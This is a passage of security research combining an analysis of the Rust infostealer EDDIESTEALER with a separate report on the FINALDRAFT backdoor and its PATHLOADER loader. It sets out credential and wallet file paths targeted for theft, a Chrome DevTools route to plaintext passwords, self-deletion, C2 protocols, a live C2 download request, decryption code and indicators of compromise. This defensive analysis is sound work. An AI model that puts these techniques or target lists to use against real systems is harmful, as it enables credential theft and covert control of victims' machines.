Binary Ninja has a handy feature called [User-Informed Data Flow](https://docs.binary.ninja/dev/uidf.html) (UIDF), which we can use to set the variables to known values to trigger a constant propagation analysis and simplify the expressions. Otherwise, a CPU emulator like Unicorn paired with a scriptable binary analysis tool can also be useful for batch analysis.


There is a general pattern for thread-safe, lazy initialization of shared resources, such as encrypted strings for module names, C2 domain and port, the sample’s unique identifier - that are decrypted only once but referenced many times during runtime. Each specific getter function checks a status flag for its resource; if uninitialized, it calls a shared, low-level synchronization function. This synchronization routine uses atomic operations and OS wait primitives (WaitOnAddress/WakeByAddressAll) to ensure only one thread executes the actual initialization logic, which is invoked indirectly via a function pointer in the vtable of a dyn Trait object.


API Obfuscation
EDDIESTEALER utilizes a custom WinAPI lookup mechanism for most API calls. It begins by decrypting the names of the target module and function. Before attempting resolution, it checks a locally maintained hashtable to see if the function name and address have already been resolved. If not found, it dynamically loads the required module using a custom LoadLibrary wrapper, into the process’s address space, and invokes a well-known implementation of GetProcAddress to retrieve the address of the exported function. The API name and address are then inserted into the hashtable, optimizing future lookups.


Mutex Creation
EDDIESTEALER begins by creating a mutex to ensure that only one instance of the malware runs at any given time. The mutex name is a decrypted UUID string 431e2e0e-c87b-45ac-9fdb-26b7e24f0d39 (unique per sample), which is later referenced once more during its initial contact with the C2 server.

Sandbox Detection
EDDIESTEALER performs a quick check to assess whether the total amount of physical memory is above ~4.0 GB as a weak sandbox detection mechanism. If the check fails, it deletes itself from disk.

Self-Deletion
Based on a similar self-deletion technique observed in LATRODECTUS, EDDIESTEALER is capable of deleting itself through NTFS Alternate Data Streams renaming, to bypass file locks. 
The malware uses GetModuleFileName to obtain the full path of its executable and CreateFileW (wrapped in jy::ds::OpenHandle) to open a handle to its executable file with the appropriate access rights. Then, a FILE_RENAME_INFO structure with a new stream name is passed into SetFileInformationByHandle to rename the default stream $DATA to :metadata. The file handle is closed and reopened, this time using SetFileInformationByHandle on the handle with the FILE_DISPOSITION_INFO.DeleteFile flag set to TRUE to enable a "delete on close handle" flag. 

Additional Configuration Request
The initial configuration data is stored as encrypted strings within the binary. Once decrypted, this data is used to construct a request following the URI pattern: //. The resource_path is specified as api/handler.  The UUID, utilized earlier to create a mutex, is used as a unique identifier for build tracking. 
EDDIESTEALER then communicates with its C2 server by sending an HTTP GET request with the constructed URI to retrieve a second-stage configuration containing a list of tasks for the malware to execute. 


The second-stage configuration data is AES CBC encrypted and Base64 encoded. The Base64-encoded IV is prepended in the message before the colon (:).
Base64(IV):Base64(AESEncrypt(data))


The AES key for decrypting the server-to-client message is stored unencrypted in UTF-8 encoding, in the .rdata section. It is retrieved through a getter function. 


The decrypted configuration for this sample contains the following in JSON format:

Session ID
List of tasks (data to target)
AES key for client-to-server message encryption
Self-delete flag

{
    "session": "",
    "tasks": [
        {
            "id": "",
            "prepare": [],
            "pattern": {
                "path": "",
                "recursive": ,
                "filters": [
                    {
                        "path_filter": ,
                        "name": "",
                        "entry_type": ""
                    },
                    ...
                ]
            },
            "additional": [
                {
                    "command": "",
                    "payload": {
                        "": 
                    }
                },
                ...
            ]
        },
        ...
    ],
    "network": {
        "encryption_key": ""
    },
    "self_delete": 
}

For this particular sample and based on the tasks received from the server during our analysis, here are the list of filesystem-based exfiltration targets:

Crypto wallets
Browsers
Password managers
FTP clients
Messaging applications

| Crypto Wallet    | Target Path Filter                           |
|------------------|----------------------------------------------|
| Armory           | %appdata%\\Armory\\*.wallet                  |
| Bitcoin          | %appdata%\\Bitcoin\\wallets\\*               |
| WalletWasabi     | %appdata%\\WalletWasabi\\Client\\Wallets\\*  |
| Daedalus Mainnet | %appdata%\\Daedalus Mainnet\\wallets\\*      |
| Coinomi          | %localappdata%\\Coinomi\\Coinomi\\wallets\\* |
| Electrum         | %appdata%\\Electrum\\wallets\\*              |
| Exodus           | %appdata%\\Exodus\\exodus.wallet\\*          |
| DashCore         | %appdata%\\DashCore\\wallets\\*              |
| ElectronCash     | %appdata%\\ElectronCash\\wallets\\*          |
| Electrum-DASH    | %appdata%\\Electrum-DASH\\wallets\\*         |
| Guarda           | %appdata%\\Guarda\\IndexedDB                 |
| Atomic           | %appdata%\\atomic\\Local Storage           |
| Browser         | Target Path Filter                                                                                                                         |
|-----------------|--------------------------------------------------------------------------------------------------------------------------------------------|
| Microsoft Edge  | %localappdata%\\Microsoft\\Edge\\User Data\\
[Web Data,History,Bookmarks,Local Extension Settings\\...]                               |
| Brave           | %localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\
[Web Data,History,Bookmarks,Local Extension Settings\\...]                  |
| Google Chrome   | %localappdata%\\Google\\Chrome\\User Data\\
[Web Data,History,Bookmarks,Local Extension Settings\\...]                                |
| Mozilla Firefox | %appdata%\\Mozilla\\Firefox\\Profiles\\
[key4.db,places.sqlite,logins.json,cookies.sqlite,formhistory.sqlite,webappsstore.sqlite,*+++*]|
| Password Manager | Target Path Filter                                                           |
|------------------|------------------------------------------------------------------------------|
| Bitwarden        | %appdata%\\Bitwarden\\data.json                                              |
| 1Password        | %localappdata%\\1Password\\
[1password.sqlite,1password_resources.sqlite] |
| KeePass          | %userprofile%\\Documents\\*.kdbx                                             |
| FTP Client           | Target Path Filter                                                               |
|----------------------|----------------------------------------------------------------------------------|
| FileZilla            | %appdata%\\FileZilla\\recentservers.xml                                          |
| FTP Manager Lite     | %localappdata%\\DeskShare Data\\FTP Manager Lite\\2.0\\FTPManagerLiteSettings.db |
| FTPbox               | %appdata%\\FTPbox\\profiles.conf                                                 |
| FTP Commander Deluxe | %ProgramFiles(x86)%\\FTP Commander Deluxe\\FTPLIST.TXT                           |
| Auto FTP Manager     | %localappdata%\\DeskShare Data\\Auto FTP Manager\\AutoFTPManagerSettings.db      |
| 3D-FTP               | %programdata%\\SiteDesigner\\3D-FTP\\sites.ini                                   |
| FTPGetter            | %appdata%\\FTPGetter\\servers.xml                                                |
| Total Commander      | %appdata%\\GHISLER\\wcx_ftp.ini                                                  |
| Messaging App    | Target Path Filter                    |
|------------------|---------------------------------------|
| Telegram Desktop | %appdata%\\Telegram Desktop\\tdata\\* |
A list of targeted browser extensions can be found here.
These targets are subject to change as they are configurable by the C2 operator.
EDDIESTEALER then reads the targeted files using standard kernel32.dll functions like CreateFileW, GetFileSizeEx, ReadFile, and CloseHandle.

Subsequent C2 Traffic
After successfully retrieving the tasks, EDDIESTEALER performs system profiling to gather some information about the infected system:

Location of the executable (GetModuleFileNameW)
Locale ID (GetUserDefaultLangID)
Username (GetUserNameW)
Total amount of physical memory (GlobalMemoryStatusEx)
OS version (RtlGetVersion)

Following the same data format (Base64(IV):Base64(AESEncrypt(data))) for client-to-server messages, initial host information is AES-encrypted using the key retrieved from the additional configuration and sent via an HTTP POST request to //info/. Subsequently, for each completed task, the collected data is also encrypted and transmitted in separate POST requests to //, right after each task is completed. This methodology generates a distinct C2 traffic pattern characterized by multiple, task-specific POST requests. This pattern is particularly easy to identify because this malware family primarily relies on HTTP instead of HTTPS for its C2 communication.

Our analysis uncovered encrypted strings that decrypt to panic metadata strings, disclosing internal Rust source file paths such as: 

apps\bin\src\services\chromium_hound.rs
apps\bin\src\services\system.rs
apps\bin\src\structs\search_pattern.rs
apps\bin\src\structs\search_entry.rs 

We discovered that error messages sent to the C2 server contain these strings, including the exact source file, line number, and column number where the error originated, allowing the malware developer to have built-in debugging feedback.

Chromium-specific Capabilities
Since the introduction of Application-bound encryption, malware developers have adapted to alternative methods to bypass this protection and gain access to unencrypted sensitive data, such as cookies. ChromeKatz is one of the more well-received open source solutions that we have seen malware implement. EDDIESTEALER is no exception—the malware developers reimplemented it in Rust. 
Below is a snippet of the browser version checking logic similar to COOKIEKATZ, after retrieving version information from %localappdata%\\\User Data\\Last Version. 

COOKIEKATZ signature pattern for detecting COOKIEMONSTER instances:

CredentialKatz signature pattern for detecting CookieMonster instances:

Here is an example of the exact copy-pasted logic of COOKIEKATZ’s FindPattern, where PatchBaseAddress is inlined.

The developers introduced a modification to handle cases where the targeted Chromium browser is not running. If inactive, EDDIESTEALER spawns a new browser instance using the command-line arguments --window-position=-3000,-3000 https://google.com. This effectively positions the new window far off-screen, rendering it invisible to the user. The objective is to ensure the malware can still read the memory (ReadProcessMemory) of the necessary child process - the network service process identified by the --utility-sub-type=network.mojom.NetworkService flag. For a more detailed explanation of this browser process interaction, refer to our previous research on MaaS infostealers.
Differences with variants
After analysis, more recent samples were identified with additional capabilities.
Information gathered on victim machines now include:

Running processes
GPU information
Number of CPU cores
CPU name
CPU vendor


The C2 communication pattern has been altered slightly. The malware now preemptively sends host system information to the server before requesting its decrypted configuration. In a few instances where the victim machine was able to reach out to the C2 server but received an empty task list, the adjustment suggests an evasion tactic: developers have likely introduced server-side checks to profile the client environment and withhold the main configuration if a sandbox or analysis system is detected.

The encryption key for client-to-server communication is no longer received dynamically from the C2 server; instead, it is now hardcoded in the binary. The key used by the client to decrypt server-to-client messages also remains hardcoded.

Newer compiled samples exhibit extensive use of function inline expansion, where many functions - both user-defined and from standard libraries and crates - have been inlined directly into their callers more often, resulting in larger functions and making it difficult to isolate user code. This behavior is likely the result of using LLVM’s inliner. While some functions remain un-inlined, the widespread inlining further complicates analysis.

In order to get all entries of Chrome’s Password Manager, EDDIESTEALER begins its credential theft routine by spawning a new Chrome process with the --remote-debugging-port= flag, enabling Chrome’s DevTools Protocol over a local WebSocket interface. This allows the malware to interact with the browser in a headless fashion, without requiring any visible user interaction. 

After launching Chrome, the malware queries http://localhost:/json/version to retrieve the webSocketDebuggerUrl, which provides the endpoint for interacting with the browser instance over WebSocket. 

Using this connection, it issues a Target.createTarget command with the parameter chrome://password-manager/passwords, instructing Chrome to open its internal password manager in a new tab. Although this internal page does not expose its contents to the DOM or to DevTools directly, opening it causes Chrome to decrypt and load stored credentials into memory. This behavior is exploited by EDDIESTEALER in subsequent steps through CredentialKatz lookalike code, where it scans the Chrome process memory to extract plaintext credentials after they have been loaded by the browser.

Based on decrypted strings os_crypt, encrypted_key, CryptUnprotectData, local_state_pattern, and login_data_pattern, EDDIESTEALER variants appear to be backward compatible, supporting Chrome versions that still utilize DPAPI encryption.
We have identified 15 additional samples of EDDIESTEALER through code and infrastructure similarities on VirusTotal. The observations table will include the discovered samples, associated C2 IP addresses/domains, and a list of infrastructure hosting EDDIESTEALER.
A Few Analysis Tips
Tracing
To better understand the control flow and pinpoint the exact destinations of indirect jumps or calls in large code blocks, we can leverage binary tracing techniques. Tools like [TinyTracer](https://github.com/hasherezade/tiny_tracer) can capture an API trace and generate a .tag file, which maps any selected API calls to be recorded to the executing line in assembly. Rust's standard library functions call into WinAPIs under the hood, and this also captures any code that calls WinAPI functions directly, bypassing the standard library's abstraction. The tag file can then be imported into decompiler tools to automatically mark up the code blocks using plugins like [IFL](https://github.com/leandrofroes/bn_ifl).

Panic Metadata for Code Segmentation
Panic metadata - the embedded source file paths (.rs files), line numbers, and column numbers associated with panic locations - offers valuable clues for segmenting and understanding different parts of the binary. This, however, is only the case if such metadata has not been stripped from the binary. Paths like apps\bin\src\services\chromium.rs, apps\bin\src\structs\additional_task.rs or any path that looks like part of a custom project typically points to the application’s unique logic. Paths beginning with library\src\ indicates code from the Rust standard library. Paths containing crate name and version such as hashbrown-0.15.2\src\raw\mod.rs point to external libraries. 
If the malware project has a somewhat organized codebase, the file paths in panic strings can directly map to logical modules. For instance, the decrypted string apps\bin\src\utils\json.rs:48:39 is referenced in sub_140011b4c. 

By examining the call tree for incoming calls to the function, many of them trace back to sub_14002699d. This function (sub_14002699d) is called within a known C2 communication routine (jy::C2::RetrieveAndDecryptConfig), right after decrypting additional configuration data known to be JSON formatted. 

Based on the json.rs path and its calling context, an educated guess would be that sub_14002699d is responsible for parsing JSON data. We can verify it by stepping over the function call. Sure enough, by inspecting the stack struct that is passed as reference to the function call, it now points to a heap address populated with parsed configuration fields.

For standard library and open-source third-party crates, the file path, line number, and (if available) the rustc commit hash or crate version allow you to look up the exact source code online.
Stack Slot Reuse
One of the optimization features involves reusing stack slots for variables/stack structs that don’t have overlapping timelines. Variables that aren’t “live” at the same time can share the same stack memory location, reducing the overall stack frame size. Essentially, a variable is live from the moment it is assigned a value until the last point where that value could be accessed. This makes the decompiled output confusing as the same memory offset may hold different types or values at different points. 
To handle this, we can define unions encompassing all possible types sharing the same memory offset within the function.

Rust Error Handling and Enums
Rust enums are tagged unions that define types with multiple variants, each optionally holding data, ideal for modeling states like success or failure. Variants are identified by a discriminant (tag). 
Error-handling code can be seen throughout the binary, making up a significant portion of the decompiled code. Rust's primary mechanism for error handling is the Result generic enum. It has two variants: Ok(T), indicating success and containing a value of type T, and Err(E), indicating failure and containing an error value of type E. 
In the example snippet below, a discriminant value of 0x8000000000000000 is used to differentiate outcomes of resolving the CreateFileW API. If CreateFileW is successfully resolved, the reuse variable type contains the API function pointer, and the else branch executes. Otherwise, the if branch executes, assigning an error information string from reuse to arg1.

For more information on how other common Rust types might look in memory, check out this cheatsheet and this amazing talk by Cindy Xiao!
Malware and MITRE ATT&CK
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.
Tactics

Initial Access
Execution
Defense Evasion
Exfiltration
Credential Access
Discovery
Collection

Techniques
Techniques represent how an adversary achieves a tactical goal by performing an action.

Phishing
Content Injection
Command and Scripting Interpreter
Credentials from Password Stores
User Execution
Obfuscated Files or Information
Exfiltration Over C2 Channel
Virtualization/Sandbox Evasion

Detections
YARA
Elastic Security has created the following YARA rules related to this research:

Windows.Infostealer.EddieStealer

Behavioral prevention rules

Suspicious PowerShell Execution
Ingress Tool Transfer via PowerShell
Potential Browser Information Discovery
Potential Self Deletion of a Running Executable

Observations
The following observables were discussed in this research.
| Observable                                                       | Type         | Name                                                                                           | Reference                                                    |
|------------------------------------------------------------------|--------------|------------------------------------------------------------------------------------------------|--------------------------------------------------------------|
| 47409e09afa05fcc9c9eff2c08baca3084d923c8d82159005dbae2029e1959d0 | SHA-256      | MvUlUwagHeZd.exe                                                                               | EDDIESTEALER                                                 |
| 162a8521f6156070b9a97b488ee902ac0c395714aba970a688d54305cb3e163f | SHA-256      | :metadata (copy)                                                                               | EDDIESTEALER                                     |
| f8b4e2ca107c4a91e180a17a845e1d7daac388bd1bb4708c222cda0eff793e7a | SHA-256      | AegZs85U6COc.exe                                                                               | EDDIESTEALER                                     |
| 53f803179304e4fa957146507c9f936b38da21c2a3af4f9ea002a7f35f5bc23d | SHA-256      | :metadata (copy)                                                                               | EDDIESTEALER                                     |
| 20eeae4222ff11e306fded294bebea7d3e5c5c2d8c5724792abf56997f30aaf9 | SHA-256      | PETt3Wz4DXEL.exe                                                                               | EDDIESTEALER                                     |
| 1bdc2455f32d740502e001fce51dbf2494c00f4dcadd772ea551ed231c35b9a2 | SHA-256      | Tk7n1al5m9Qc.exe                                                                               | EDDIESTEALER                                     |
| d905ceb30816788de5ad6fa4fe108a202182dd579075c6c95b0fb26ed5520daa | SHA-256      | YykbZ173Ysnd.exe                                                                               | EDDIESTEALER                                     |
| b8b379ba5aff7e4ef2838517930bf20d83a1cfec5f7b284f9ee783518cb989a7 | SHA-256      | 2025-04-03_20745dc4d048f67e0b62aca33be80283_akira_cobalt-strike_satacom | EDDIESTEALER                                     |
| f6536045ab63849c57859bbff9e6615180055c268b89c613dfed2db1f1a370f2 | SHA-256      | 2025-03-23_6cc654225172ef70a189788746cbb445_akira_cobalt-strike         | EDDIESTEALER                                     |
| d318a70d7f4158e3fe5f38f23a241787359c55d352cb4b26a4bd007fd44d5b80 | SHA-256      | 2025-03-22_c8c3e658881593d798da07a1b80f250c_akira_cobalt-strike         | EDDIESTEALER                                     |
| 73b9259fecc2a4d0eeb0afef4f542642c26af46aa8f0ce2552241ee5507ec37f | SHA-256      | 2025-03-22_4776ff459c881a5b876da396f7324c64_akira_cobalt-strike         | EDDIESTEALER                                     |
| 2bef71355b37c4d9cd976e0c6450bfed5f62d8ab2cf096a4f3b77f6c0cb77a3b | SHA-256      | TWO[1].file                | EDDIESTEALER                                     |
| 218ec38e8d749ae7a6d53e0d4d58e3acf459687c7a34f5697908aec6a2d7274d | SHA-256      |                                                                                                | EDDIESTEALER                                     |
| 5330cf6a8f4f297b9726f37f47cffac38070560cbac37a8e561e00c19e995f42 | SHA-256      | verifcheck.exe                                                                                 | EDDIESTEALER                                     |
| acae8a4d92d24b7e7cb20c0c13fd07c8ab6ed8c5f9969504a905287df1af179b | SHA-256      | 3zeG4jGjFkOy.exe                                                                               | EDDIESTEALER                                     |
| 0f5717b98e2b44964c4a5dfec4126fc35f5504f7f8dec386c0e0b0229e3482e7 | SHA-256      | verification.exe                                                                               | EDDIESTEALER                                     |
| e8942805238f1ead8304cfdcf3d6076fa0cdf57533a5fae36380074a90d642e4 | SHA-256      | g_verify.js                                                                                    | EDDIESTEALER loader                              |
| 7930d6469461af84d3c47c8e40b3d6d33f169283df42d2f58206f43d42d4c9f4 | SHA-256      | verif.js                                                                                       | EDDIESTEALER loader                              |
| 45.144.53[.]145                                                  | ipv4-addr |                                                                                                | EDDIESTEALER C2                                              |
| 84.200.154[.]47                                                  | ipv4-addr |                                                                                                | EDDIESTEALER C2                                  |
| shiglimugli[.]xyz                                                | domain-name  |                                                                                                | EDDIESTEALER C2                                  |
| xxxivi[.]com                                                     | domain-name  |                                                                                                | EDDIESTEALER C2 and intermediate infrastructure  |
| llll[.]fit                                                       | domain-name  |                                                                                                | EDDIESTEALER intermediate infrastructure                     |
| plasetplastik[.]com                                              | domain-name  |                                                                                                | EDDIESTEALER intermediate infrastructure         |
| militrex[.]wiki                                                  | domain-name  |                                                                                                | EDDIESTEALER intermediate infrastructure         |
References
The following were referenced throughout the above research:

https://github.com/N0fix/rustbinsign 
https://github.com/Meckazin/ChromeKatz 
https://github.com/hasherezade/tiny_tracer 
https://docs.binary.ninja/dev/uidf.html
https://www.unicorn-engine.org/
https://github.com/LloydLabs/delete-self-poc/tree/main 
https://cheats.rs/#memory-layout 
https://www.youtube.com/watch?v=SGLX7g2a-gw&t=749s 
https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/



You've Got Malware: FINALDRAFT Hides in Your Drafts
Cyril François,Jia Yu Chan,Salim Bitam,Daniel Stepanic — Thu, 13 Feb 2025 00:00:00 GMT
While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.
Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time. 
The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign. 
This report details the features and capabilities of these tools.

For the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.
Technical Analysis
PATHLOADER
PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure. 
Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.
Configuration
PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes C2 and other relevant settings. 

After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.
https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration from PATHLOADER
API Hashing
In order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function. This can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.

String Obfuscation
PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.

One string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.

Execution/Behavior
Upon execution, PATHLOADER employs a combination of  GetTickCount64 and Sleep methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (poster.checkponit[.]com, support.fortineat[.]com) attempting to download the shellcode through HTTPS GET requests.
GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.

After the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.
FINALDRAFT
FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.
Entrypoint
FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called UpdateTask.

Initialization
The malware is initialized by loading its configuration and generating a session ID. 
Configuration loading process
The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.
for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Decryption algorithm for configuration data
The decryption key is derived either from the Windows product ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.


The decryption key derivation algorithm is performed as follows:
uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Decryption key derivation algorithm
The configuration structure is described as follows:
struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Configuration structure
The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.
The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.
Session ID derivation process
The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the Fowler-Noll-Vo (FNV) hash function.

Communication protocol
During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.
The Microsoft Graph API token is obtained by FINALDRAFT using the https://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the configuration.


Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges: 

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\  
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\

This token is reused across requests, if it is still valid.

The communication loop is described as follows:

Create a session email draft if it doesn’t already exist.  
Read and delete command request email drafts created by the C2.  
Process commands  
Write command response emails as drafts for each processed command.

A check is performed to determine whether a session email, in the form of a command response email identified by the subject p_, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.


The session data is described in the structure below.
struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Session data structure
The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects r_.


After reading the request, emails are then deleted.

Commands are then processed, and responses are written into new draft emails, each with the same p_ subject for each command response.

Content for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob. 
Base64(AESEncrypt(ZlibCompress(data)))
Request messages sent from the C2 to the implant follow this structure.
struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)

  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Request message structure
Response messages sent from the implant to C2 follow this structure.
struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;        // Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;

  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Response message structure
Here is an example of data stolen by the implant.

Commands
FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.

Below is a table of the commands and their IDs:
| ID   | Name                                         |
| :--- | :------------------------------------------- |
| 0    | GatherComputerInformation                    |
| 2    | StartTcpServerProxyToC2                      |
| 3    | StopTcpServerProxyToC2                       |
| 4    | ConnectToTcpTargetStartProxyToC2             |
| 5    | SetSleepValue                                |
| 6    | DeleteNetworkProjectorFwRuleAndStopTCPServer |
| 8    | ConnectToTcpTarget                           |
| 9    | SendDataToUdpOrTcpTarget                     |
| 10   | CloseTcpConnection                           |
| 11   | DoProcessInjectionSendOutputEx               |
| 12   | ListFiles                                    |
| 13   | ListAvailableDrives                          |
| 14   | CreateDirectory                              |
| 15   | DeleteFileOrDirectory                        |
| 16   | DownloadFile                                 |
| 17   | UploadFile0                                  |
| 18   | DummyFunction                                |
| 19   | SetCurrentDirectory                          |
| 20   | GetCurrentDirectory                          |
| 21   | ListRunningProcesses                         |
| 24   | DoProcessInjectionNoOutput                   |
| 25   | DoProcessInjectionNoOutput (Same as 24)     |
| 26   | DoProcessInjectionSendOutput1                |
| 28   | DisconnectFromNamedPipe                      |
| 30   | ConnectToNamedPipeAndProxyMessageToC2        |
| 31   | GetCurrentProcessTokenInformation            |
| 32   | EnumerateActiveSessions                      |
| 33   | ListActiveTcpUdpConnections                  |
| 35   | MoveFile1                                    |
| 36   | GetOrSetFileTime                             |
| 39   | UploadFile1                                  |
| 41   | MoveFile0                                    |
| 42   | CopyFileOrCopyDirectory                      |
| 43   | TerminateProcess                             |
| 44   | CreateProcess                                |
FINALDRAFT command handler table
Gather computer information
Upon execution of the GatherComputerInformation command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.
This structure is described as follows:
struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Collected information structure
The external IP address is collected when enabled in the configuration.

This address is obtained by FINALDRAFT using the following list of public services.
| Public service                 |
| :----------------------------- |
| hxxps://ip-api.io/json       |
| hxxps://ipinfo.io/json       |
| hxxps://myexternalip.com/raw |
| hxxps://ipapi.co/json/       |
| hxxps://jsonip.com/          |
IP lookup service list
Process injection
FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.
In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to mspaint.exe or conhost.exe as a fallback.


Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.


Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).


The process injection procedure is basic and based on VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread API.

Forwarding data from TCP, UDP, and named pipes
FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.
Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.
Below is an example screenshot of the recvfrom call from the UDP listener.

Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule interfaces.


FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” and expects the server to echo the same magic value back before beginning to forward the received data.


For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.

File manipulation
For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them. 

FINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.
